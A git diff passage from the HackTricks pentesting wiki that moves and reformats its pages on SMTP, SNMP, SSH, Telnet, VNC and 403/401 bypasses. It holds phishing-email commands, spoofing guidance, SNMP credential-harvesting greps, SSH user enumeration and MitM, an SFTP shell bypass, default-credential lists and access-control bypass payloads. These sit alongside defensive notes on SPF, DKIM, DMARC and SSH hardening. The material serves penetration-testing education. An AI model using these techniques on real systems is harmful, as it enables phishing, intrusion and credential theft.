from linux console +### Sending an Email from linux console ``` root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf @@ -213,7 +212,7 @@ Sincerely, swaks --to $(cat emails | tr '\n' ',' | less) --from test@sneakymailer.htb --header "Subject: test" --body "please click here http://10.10.14.42/" --server 10.10.10.197 ``` -## Sending an Email with Python +### Sending an Email with Python Here's alternative way to send an email with python script @@ -260,7 +259,7 @@ server.quit() print("[***]successfully sent email to %s:" % (msg['To'])) ``` -# Mail Spoofing +## Mail Spoofing Most of this section was extracted from the book **Network Security Assessment 3rd Edition**. @@ -268,13 +267,13 @@ SMTP messages are easily spoofed, and so organizations use **SPF**, **DKIM**, an A **complete guide of these countermeasures** can be found in [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/) -## SPF +### SPF **Sender Policy Framework** (SPF) provides a mechanism that allows MTAs to check if a host sending an email is authorized.\ Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not.\ -In order to define IP addresses/ranges, domains and others that** are allowed to send email on behalf a domain name**, different "**Mechanism**" cam appear in the SPF registry. +In order to define IP addresses/ranges, domains and others that\*\* are allowed to send email on behalf a domain name\*\*, different "**Mechanism**" cam appear in the SPF registry. -### Mechanisms +#### Mechanisms | Mechanism | Description | | --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -291,7 +290,7 @@ In order to define IP addresses/ranges, domains and others that** are allowed to It's also possible to identify **Qualifier**s that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\ You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.** -### Qualifiers +#### Qualifiers Each mechanism can be combined with one of four qualifiers: @@ -325,7 +324,7 @@ Traditionally it was possible to spoof any domain name that didn't have a correc To check the SPF of a domain you can use online tools like: [https://www.kitterman.com/spf/validate.html](https://www.kitterman.com/spf/validate.html) -## DKIM +### DKIM DomainKeys Identified Mail (DKIM) is a mechanism by which **outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS**. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it. @@ -337,7 +336,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p= KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 ``` -## DMARC +### DMARC Domain-based Message Authentication, Reporting & Conformance (DMARC) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed. @@ -360,7 +359,7 @@ ruf=mailto:dk@bounce.paypal.com,mailto:d@ruf.agari.com" PayPal and Yahoo instruct mail servers to reject messages that contain invalid DKIM signatures or do not originate from their networks. Notifications are then sent to the respective email addresses within each organization. Google is configured in a similar way, although it instructs mail servers to quarantine messages and not outright reject them. -### DMARC tags +#### DMARC tags | Tag Name | Purpose | Sample | | -------- | --------------------------------------------- | ------------------------------- | @@ -373,7 +372,7 @@ PayPal and Yahoo instruct mail servers to reject messages that contain invalid D | adkim | Alignment mode for DKIM | adkim=s | | aspf | Alignment mode for SPF | aspf=r | -## **What about Subdomains?** +### **What about Subdomains?** **From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ You need to have separate SPF records for each subdomain you wish to send mail from.\ @@ -389,22 +388,22 @@ The following was originally posted on openspf.org, which used to be a great res This makes sense - a subdomain may very well be in a different geographical location and have a very different SPF definition. -## **Tools** +### **Tools** * [**https://github.com/serain/mailspoof**](https://github.com/serain/mailspoof) **Check for SPF and DMARC misconfigurations** * [**https://pypi.org/project/checkdmarc/**](https://pypi.org/project/checkdmarc/) **Automatically get SPF and DMARC configs** You can attack some **characteristics** of **mail clients** to make the user think that the **mail** is **coming** from **any address**, more info: [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index) -## **Check Spoofing** +### **Check Spoofing** You can use the online tool [http://www.anonymailer.net/](http://www.anonymailer.net) to send you an email spoofing an address and check if reaches you email. -## **More info** +### **More info** **Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/) -## **Other phishing indicators** +### **Other phishing indicators** * Domain’s age * Links pointing to IP addresses @@ -415,13 +414,13 @@ You can use the online tool [http://www.anonymailer.net/](http://www.anonymailer * Existence of a valid and trusted SSL certificate * Submission of the page to web content filtering sites -# Exfiltration through SMTP +## Exfiltration through SMTP -**If you can send data via SMTP** [**read this**](../../exfiltration.md#smtp)**.** +**If you can send data via SMTP** [**read this**](../../generic-methodologies-and-resources/exfiltration.md#smtp)**.** -# Config file +## Config file -## Postfix +### Postfix Usually, if installed, in `/etc/postfix/master.cf` contains **scripts to execute** when for example a new mail is receipted by a user. For example the line `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` means that `/etc/postfix/filtering` will be executed if a new mail is received by the user mark. @@ -432,7 +431,7 @@ sendmail.cf submit.cf ``` -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. @@ -485,7 +484,6 @@ Entry_8: ``` -
Support HackTricks and get benefits! @@ -501,5 +499,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-smtp/smtp-commands.md b/network-services-pentesting/pentesting-smtp/smtp-commands.md similarity index 100% rename from pentesting/pentesting-smtp/smtp-commands.md rename to network-services-pentesting/pentesting-smtp/smtp-commands.md diff --git a/pentesting/pentesting-snmp/README.md b/network-services-pentesting/pentesting-snmp/README.md similarity index 95% rename from pentesting/pentesting-snmp/README.md rename to network-services-pentesting/pentesting-snmp/README.md index c448e39a..212d57b7 100644 --- a/pentesting/pentesting-snmp/README.md +++ b/network-services-pentesting/pentesting-snmp/README.md @@ -1,5 +1,7 @@ # 161,162,10161,10162/udp - Pentesting SNMP +## 161,162,10161,10162/udp - Pentesting SNMP +
Support HackTricks and get benefits! @@ -16,17 +18,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-{% hint style="danger" %} -**** +\*\*\*\* **Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} -{% endhint %} -# 161,162,10161,10162/udp - Pentesting SNMP +## 161,162,10161,10162/udp - Pentesting SNMP -## S**NMP - Explained** +### S**NMP - Explained** **SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). @@ -35,12 +35,12 @@ PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` -### MIB +#### MIB **MIB** stands for **M**anagement **I**nformation **B**ase and is a **collection of information organized hierarchically**. These are **accessed using** a protocol such as **SNMP**. There are two types of MIBs: **scalar** and **tabular**.\ Scalar objects define a single object instance whereas tabular objects define multiple related object instances grouped in MIB tables. -### OIDs +#### OIDs **OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs (OIDs) belong to different standard organizations.\ **Vendors define private branches including managed objects for their own products.** @@ -50,7 +50,7 @@ Scalar objects define a single object instance whereas tabular objects define mu You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** (like `1.3.6.1.2.1.1`) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ There are some **well-known OIDs** like the ones inside [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) that references MIB-2 defined Simple Network Management Protocol (SNMP) variables. And from the **OIDs pending from this one** you can obtain some interesting host data (system data, network data, processes data...) -### **OID Example** +#### **OID Example** **`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`** @@ -83,14 +83,14 @@ The rest of the values give specific information about the device. _**(Example take from**_ [_**here**_](https://www.netadmintools.com/snmp-mib-and-oids)_**)**_ -### SNMP Versions +#### SNMP Versions There are 2 important versions of SNMP: * **SNMPv1**: Main one, it is still the most frequent, the **authentication is based on a string** (community string) that travels in **plain-text** (all the information travels in plain text). **Version 2 and 2c** send the **traffic in plain text** also and uses a **community string as authentication**. * **SNMPv3**: Uses a better authentication form and the information travels **encrypted** using (**dictionary attack** could be performed but would be much harder to find the correct creds that inn SNMPv1 and v2). -### Community Strings +#### Community Strings As mentioned before, **in order to access the information saved on the MIB you need to know the community string on versions 1 and 2/2c and the credentials on version 3.**\ The are **2 types of community strings**: @@ -103,17 +103,17 @@ If you try to **write** an object a **`noSuchName` or `readOnly` error** is rece In versions 1 and 2/2c if you to use a **bad** community string the server wont **respond**. So, if it responds, a **valid community strings was used**. -## Ports +### Ports * The SNMP agent receives requests on UDP port **161**. * The manager receives notifications ([Traps](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#Trap) and [InformRequests](https://en.wikipedia.org/wiki/Simple\_Network\_Management\_Protocol#InformRequest)) on port **162**. * When used with [Transport Layer Security](https://en.wikipedia.org/wiki/Transport\_Layer\_Security) or [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram\_Transport\_Layer\_Security), requests are received on port **10161** and notifications are sent to port **10162**. -## Brute-Force Community String (v1 and v2c) +### Brute-Force Community String (v1 and v2c) -To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../brute-force.md#snmp). +To **guess the community string** you could perform a dictionary attack. Check [here different ways to perform a brute-force attack against SNMP](../../generic-methodologies-and-resources/brute-force.md#snmp). -## Enumerating SNMP +### Enumerating SNMP It is recommanded to install the following to see whats does mean **each OID gathered** from the device: @@ -141,7 +141,7 @@ snmpwalk -v X -c public NET-SNMP-EXTEND-MIB::nsExtendOutputFull **SNMP** has a lot of information about the host and things that you may find interesting are: **Network interfaces** (IPv4 and **IPv6** address), Usernames, Uptime, Server/OS version, and **processes running** (may contain passwords).... -## From SNMP to RCE +### From SNMP to RCE If you have the **string** that allows you to **write values** inside the SNMP service, you may be able to abuse it to **execute commands**: @@ -149,7 +149,7 @@ If you have the **string** that allows you to **write values** inside the SNMP s [snmp-rce.md](snmp-rce.md) {% endcontent-ref %} -## **Massive SNMP** +### **Massive SNMP** [Braa ](https://github.com/mteg/braa)is a mass SNMP scanner. The intended usage of such a tool is, of course, making SNMP queries – but unlike snmpwalk from net-snmp, it is able to query dozens or hundreds of hosts simultaneously, and in a single process. Thus, it consumes very few system resources and does the scanning VERY fast. @@ -165,7 +165,7 @@ This can extract a lot MB of information that you cannot process manually. So, lets look for the most interesting information (from [https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)): -### Devices +#### Devices One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data from each file to determine what devices I have harvested information from. This can easily be done using the following grep command: @@ -173,7 +173,7 @@ One of the first things I do is extract the sysDesc .1.3.6.1.2.1.1.1.0 MIB data grep ".1.3.6.1.2.1.1.1.0" *.snmp ``` -### Identify private string +#### Identify private string As an example, if I can identify the private community string used by an organization on their Cisco IOS routers, then I could possibly use that community string to extract the running configurations from those routers. The best method for finding such data has often been related to SNMP Trap data. So again, using the following grep we can parse through a lot of MIB data quickly searching for the key word of “trap”: @@ -181,7 +181,7 @@ As an example, if I can identify the private community string used by an organiz grep -i "trap" *.snmp ``` -### Usernames/passwords +#### Usernames/passwords Another area of interest is logs, I have discovered that there are some devices that hold logs within the MIB tables. These logs can also contain failed logon attempts. Think about the last time you logged into a device via Telnet or SSH and inadvertently entered your password as the username. I typically search for key words such as _fail_, _failed_ or _login_ and examine that data to see if there is anything of value. @@ -189,27 +189,27 @@ Another area of interest is logs, I have discovered that there are some devices grep -i "login\|fail" *.snmp ``` -### Emails +#### Emails ```bash grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp ``` -## Modifying SNMP values +### Modifying SNMP values You can use _**NetScanTools**_ to **modify values**. You will need to know the **private string** in order to do so. -## Spoofing +### Spoofing If there is an ACL that only allows some IPs to query the SMNP service, you can spoof one of this addresses inside the UDP packet an sniff the traffic. -## Examine SNMP Configuration files +### Examine SNMP Configuration files * snmp.conf * snmpd.conf * snmp-config.xml -## HackTricks Automatic Commands +### HackTricks Automatic Commands ``` Protocol_Name: SNMP #Protocol Abbreviation if there is one. diff --git a/pentesting/pentesting-snmp/snmp-rce.md b/network-services-pentesting/pentesting-snmp/snmp-rce.md similarity index 100% rename from pentesting/pentesting-snmp/snmp-rce.md rename to network-services-pentesting/pentesting-snmp/snmp-rce.md diff --git a/pentesting/pentesting-ssh.md b/network-services-pentesting/pentesting-ssh.md similarity index 95% rename from pentesting/pentesting-ssh.md rename to network-services-pentesting/pentesting-ssh.md index 2514e659..904f19bd 100644 --- a/pentesting/pentesting-ssh.md +++ b/network-services-pentesting/pentesting-ssh.md @@ -1,4 +1,4 @@ - +# 22 - Pentesting SSH/SFTP
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# Basic Information +## Basic Information **SSH or Secure Shell or Secure Socket Shell,** is a network protocol that gives users a **secure way to access a computer over an unsecured network.** @@ -41,15 +40,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [Apache MINA SSHD](https://mina.apache.org/sshd-project/index.html) – Apache SSHD java library is based on Apache MINA * [paramiko](https://github.com/paramiko/paramiko) – Python SSHv2 protocol library -# Enumeration +## Enumeration -## Banner Grabbing +### Banner Grabbing ```bash nc -vn 22 ``` -## Automated ssh-audit +### Automated ssh-audit ssh-audit is a tool for ssh server & client configuration auditing. @@ -92,17 +91,17 @@ $ python3 ssh-audit [See it in action (Asciinema)](https://asciinema.org/a/96ejZKxpbuupTK9j7h8BdClzp) -## Public SSH key of server +### Public SSH key of server ```bash ssh-keyscan -t rsa -p ``` -## Weak Cipher Algorithms +### Weak Cipher Algorithms This is discovered by default by **nmap**. But you can also use **sslcan** or **sslyze**. -## Nmap scripts +### Nmap scripts ```bash nmap -p22 -sC # Send default nmap scripts for SSH @@ -112,13 +111,13 @@ nmap -p22 --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve we nmap -p22 --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods ``` -## Shodan +### Shodan * `ssh` -# Brute force usernames, passwords and private keys +## Brute force usernames, passwords and private keys -## Username Enumeration +### Username Enumeration In some versions of OpenSSH you can make a timing attack to enumerate users. You can use a metasploit module in order to exploit this: @@ -126,11 +125,11 @@ In some versions of OpenSSH you can make a timing attack to enumerate users. You msf> use scanner/ssh/ssh_enumusers ``` -## [Brute force](../brute-force.md#ssh) +### [Brute force](../generic-methodologies-and-resources/brute-force.md#ssh) Some common ssh credentials [here ](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt)and [here](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt) and below. -## Private/Public Keys BF +### Private/Public Keys BF If you know some ssh private key that could be used... lets try it. You can use the nmap script: @@ -144,18 +143,18 @@ Or the MSF auxiliary module: msf> use scanner/ssh/ssh_identify_pubkeys ``` -### Known badkeys can be found here: +#### Known badkeys can be found here: {% embed url="https://github.com/rapid7/ssh-badkeys/tree/master/authorized" %} You should look here in order to search for valid keys for the victim machine. -## Kerberos +### Kerberos **crackmapexec** using the `ssh` protocol can use the option `--kerberos` to **authenticate via kerberos**.\ For more info run `crackmapexec ssh --help`. -# Default Credentials +## Default Credentials | **Vendor** | **Usernames** | **Passwords** | | ---------- | ----------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | @@ -174,7 +173,7 @@ For more info run `crackmapexec ssh --help`. | Oracle | root, oracle, oravis, applvis, ilom-admin, ilom-operator, nm2user | changeme, ilom-admin, ilom-operator, welcome1, oracle | | VMware | vi-admin, root, hqadmin, vmware, admin | vmware, vmw@re, hqadmin, default | -# SSH-MitM +## SSH-MitM If you are in the local network as the victim which is going to connect to the SSH server using username and password you could try to **perform a MitM attack to steal those credentials:** @@ -184,13 +183,13 @@ If you are in the local network as the victim which is going to connect to the S * the attacker monitors attempts to connect to the SSH server and redirects them to its SSH server * the attacker's SSH server is configured, firstly, to log all entered data, including the user's password, and, secondly, send commands to the legitimate SSH server to which the user wants to connect, to execute them, and then return the results to the legitimate user -****[**SSH MITM**](https://github.com/jtesta/ssh-mitm) **** does exactly what is described above. +\*\*\*\*[**SSH MITM**](https://github.com/jtesta/ssh-mitm) \*\*\*\* does exactly what is described above. -In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](pentesting-network/#spoofing). +In order to capture perform the actual MitM you could use techniques like ARP spoofing, DNS spoofin or others described in the [**Network Spoofing attacks**](../generic-methodologies-and-resources/pentesting-network/#spoofing). -# Config Misconfigurations +## Config Misconfigurations -## Root login +### Root login By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account. @@ -201,7 +200,7 @@ By default most SSH server implementation will allow root login, it is advised t 3. Take into account configuration changes: `sudo systemctl daemon-reload` 4. Restart the SSH server `sudo systemctl restart sshd` -## SFTP command execution +### SFTP command execution Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like `/usr/bin/nologin` or `/usr/bin/false`) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, **a user can ask to execute a command right after authentication before it’s default command or shell is executed**. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. `/bin/bash`) before, just by doing: @@ -242,7 +241,7 @@ Match User noraj This configuration will allow only SFTP: disabling shell access by forcing the start command and disabling TTY access but also disabling all kind of port forwarding or tunneling. -## SFTP Tunneling +### SFTP Tunneling If you have access to a SFTP server you can also tunnel your traffic through this for example using the common port forwarding: @@ -250,7 +249,7 @@ If you have access to a SFTP server you can also tunnel your traffic through thi sudo ssh -L :: -N -f @ ``` -## SFTP Symlink +### SFTP Symlink The **sftp** have the command "**symlink**". Therefor, if you have **writable rights** in some folder, you can create **symlinks** of **other folders/files**. As you are probably **trapped** inside a chroot this **won't be specially useful** for you, but, if you can **access** the created **symlink** from a **no-chroot** **service** (for example, if you can access the symlink from the web), you could **open the symlinked files through the web**. @@ -262,7 +261,7 @@ sftp> symlink / froot If you can access the file "_froot_" via web, you will be able to list the root ("/") folder of the system. -## Authentication methods +### Authentication methods On high security environment it’s a common practice to enable only key-based or two factor authentication rather than the simple factor password based authentication. But often the stronger authentication methods are enabled without disabling the weaker ones. A frequent case is enabling `publickey` on openSSH configuration and setting it as the default method but not disabling `password`. So by using the verbose mode of the SSH client an attacker can see that a weaker method is enabled: @@ -285,7 +284,7 @@ Review the SSH server configuration is necessary to check that only expected\ methods are authorized. Using the verbose mode on the client can help to see\ the effectiveness of the configuration. -## Config files +### Config files ``` ssh_config @@ -296,17 +295,17 @@ known_hosts id_rsa ``` -# Fuzzing +## Fuzzing * [https://packetstormsecurity.com/files/download/71252/sshfuzz.txt](https://packetstormsecurity.com/files/download/71252/sshfuzz.txt) * [https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2](https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh\_version\_2) -# References +## References * You can find interesting guides on how to harden SSH in [https://www.ssh-audit.com/hardening\_guides.html](https://www.ssh-audit.com/hardening\_guides.html) * [https://community.turgensec.com/ssh-hacking-guide](https://community.turgensec.com/ssh-hacking-guide) -# HackTricks Automatic Commands +## HackTricks Automatic Commands ``` Protocol_Name: SSH @@ -326,7 +325,6 @@ Entry_2: ``` -
Support HackTricks and get benefits! @@ -342,5 +340,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-telnet.md b/network-services-pentesting/pentesting-telnet.md similarity index 89% rename from pentesting/pentesting-telnet.md rename to network-services-pentesting/pentesting-telnet.md index 2a87401c..17f2f0d4 100644 --- a/pentesting/pentesting-telnet.md +++ b/network-services-pentesting/pentesting-telnet.md @@ -1,4 +1,4 @@ - +# 23 - Pentesting Telnet
@@ -16,20 +16,19 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# **Basic Information** +## **Basic Information** Telnet is a network protocol that gives users a UNsecure way to access a computer over a network. **Default port:** 23 -```text +``` 23/tcp open telnet ``` -# **Enumeration** +## **Enumeration** -## **Banner Grabbing** +### **Banner Grabbing** ```bash nc -vn 23 @@ -41,14 +40,14 @@ All the interesting enumeration can be performed by **nmap**: nmap -n -sV -Pn --script "*telnet* and safe" -p 23 ``` -The script `telnet-ntlm-info.nse` will obtain NTLM info \(Windows versions\). +The script `telnet-ntlm-info.nse` will obtain NTLM info (Windows versions). -In the TELNET Protocol are various "**options**" that will be sanctioned and may be used with the "**DO, DON'T, WILL, WON'T**" structure to allow a user and server to agree to use a more elaborate \(or perhaps just different\) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc. \(From the [telnet RFC](https://tools.ietf.org/html/rfc854)\) +In the TELNET Protocol are various "**options**" that will be sanctioned and may be used with the "**DO, DON'T, WILL, WON'T**" structure to allow a user and server to agree to use a more elaborate (or perhaps just different) set of conventions for their TELNET connection. Such options could include changing the character set, the echo mode, etc. (From the [telnet RFC](https://tools.ietf.org/html/rfc854))\ **I know it is possible to enumerate this options but I don't know how, so let me know if know how.** -## [Brute force](../brute-force.md#telnet) +### [Brute force](../generic-methodologies-and-resources/brute-force.md#telnet) -# Config file +## Config file ```bash /etc/inetd.conf @@ -56,9 +55,9 @@ In the TELNET Protocol are various "**options**" that will be sanctioned and may /etc/xinetd.d/stelnet ``` -# HackTricks Automatic Commands +## HackTricks Automatic Commands -```text +``` Protocol_Name: Telnet #Protocol Abbreviation if there is one. Port_Number: 23 #Comma separated if there is more than one. Protocol_Description: Telnet #Protocol Abbreviation Spelled out @@ -91,8 +90,6 @@ Entry_3: ``` - -
Support HackTricks and get benefits! @@ -108,5 +105,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-vnc.md b/network-services-pentesting/pentesting-vnc.md similarity index 94% rename from pentesting/pentesting-vnc.md rename to network-services-pentesting/pentesting-vnc.md index 313e69ff..ae8467ba 100644 --- a/pentesting/pentesting-vnc.md +++ b/network-services-pentesting/pentesting-vnc.md @@ -1,4 +1,4 @@ - +# 5800,5801,5900,5901 - Pentesting VNC
@@ -16,10 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## Basic Information -# Basic Information - -In computing, **Virtual Network Computing** (**VNC**) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical-screen updates back in the other direction, over a network. \ +In computing, **Virtual Network Computing** (**VNC**) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. It transmits the keyboard and mouse events from one computer to another, relaying the graphical-screen updates back in the other direction, over a network.\ From [wikipedia](https://en.wikipedia.org/wiki/Virtual\_Network\_Computing). VNC usually uses ports **5800 or 5801 or 5900 or 5901.** @@ -29,22 +28,22 @@ PORT STATE SERVICE 5900/tcp open vnc ``` -# Enumeration +## Enumeration ```bash nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p msf> use auxiliary/scanner/vnc/vnc_none_auth ``` -## [**Brute force**](../brute-force.md#vnc) +### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc) -# Connect to vnc using Kali +## Connect to vnc using Kali ```bash vncviewer [-passwd passwd.txt] ::5901 ``` -# Decrypting VNC password +## Decrypting VNC password Default **password is stored** in: \~/.vnc/passwd @@ -61,11 +60,10 @@ I save the tool here also for ease of access: {% file src="../.gitbook/assets/vncpwd.zip" %} -# Shodan +## Shodan * `port:5900 RFB` -
Support HackTricks and get benefits! @@ -81,5 +79,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
- - diff --git a/pentesting/pentesting-web/403-and-401-bypasses.md b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md similarity index 91% rename from pentesting/pentesting-web/403-and-401-bypasses.md rename to network-services-pentesting/pentesting-web/403-and-401-bypasses.md index 4c0ff548..174185de 100644 --- a/pentesting/pentesting-web/403-and-401-bypasses.md +++ b/network-services-pentesting/pentesting-web/403-and-401-bypasses.md @@ -1,4 +1,4 @@ - +# 403 & 401 Bypasses
@@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -# HTTP Verbs/Methods Fuzzing +## HTTP Verbs/Methods Fuzzing Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK` @@ -25,7 +24,7 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, * Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used. * Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful. -# HTTP Headers Fuzzing +## HTTP Headers Fuzzing * **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31)) * Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource. @@ -53,11 +52,11 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, * Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response. * **Fuzz special HTTP headers** while fuzzing **HTTP Methods**. -# Path **Fuzzing** +## Path **Fuzzing** If _/path_ is blocked: -* Try using _**/**_**%2e/path **_**(if the access is blocked by a proxy, this could bypass the protection). Try also**_** /%252e**/path (double URL encode) +* Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode) * Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check * **Other path bypasses**: * site.com/secret –> HTTP 403 Forbidden @@ -84,39 +83,40 @@ If _/path_ is blocked: * {"user\_id":"\","user\_id":"\"} (JSON Parameter Pollution) * user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution) -# **Other Bypasses** +## **Other Bypasses** * Get the **IP** or **CNAME** of the domain and try **contacting it directly**. * Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)). * **Change the protocol**: from http to https, or for https to http * Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**. -# **Brute Force** +## **Brute Force** * **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name? -* [**Brute force**](../../brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. +* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth. - {% code title="Common creds" %} - ``` - admin admin - admin password - admin 1234 - admin admin1234 - admin 123456 - root toor - test test - guest guest - ``` - {% endcode %} +{% code title="Common creds" %} +```` +``` +admin admin +admin password +admin 1234 +admin admin1234 +admin 123456 +root toor +test test +guest guest +``` +```` +{% endcode %} -# Automatic Tools +## Automatic Tools * [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx) * [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403) * [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass) * [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122) -
Support HackTricks and get benefits! @@ -132,5 +132,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
